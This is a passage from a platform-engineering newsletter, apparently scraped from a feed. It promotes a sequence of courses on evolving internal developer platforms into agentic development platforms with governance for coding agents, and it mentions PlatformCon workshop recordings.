(free, 1 hour, on-demand). Start here, even if your IDP is still a work in progress. Four modules: the IDP to ADP architecture shift, the three layers, designing probabilistic, deterministic, and hybrid paths that keep agents on track, and where to start building, including how to measure outcomes over your first 90 days.\n\n\nAgentic Development Platforms. The core of this path, and your real next step. Evolve the IDP you have (yes, the imperfect one) into an ADP that makes coding agents safe, governed, and productive at enterprise scale. This is where the concepts become your architecture. You will work through what it takes to design the paths that agents consume, put the guardrails and governance in place, and treat agents as first-class users of your platform (without losing control of cost, security, or quality along the way..)\n\n\nAgent Infrastructure for Platform Engineers (instructor-led, starts November 12). For when you\u2019re ready to go all the way in: a hands-on build of the harness and governance plane that agents actually run on. The advanced step once the ADP course is under your belt.\nNotice what that sequence actually is. It is the answer to the question. You do not need a perfect IDP or a board-approved AI strategy to start. You need one free hour to understand the architecture, then a structured way to evolve what you have.\nAI is reshaping our industry all around us. And platform engineering is the foundation to do it effectively, and safely. There is no greater opportunity for you and your org.\nSo, how the hell are you gonna do this? One hour at a time. What are you waiting for?\nHighlight of the week\n\n\nThe cost benefits of modernizing your VM fleet (that no one talks about)\nFrom the community\n\n\nWant to watch the recordings of PlatformCon workshops and talks you weren't able to attend? We're uploading more every day on the community YouTube channel.\n ]]>\n  \n  Fri, 17 Jul 2026 00:00:00 GMT\n\n", "creation_timestamp": "2026-07-22T15:09:24.550095Z"}]}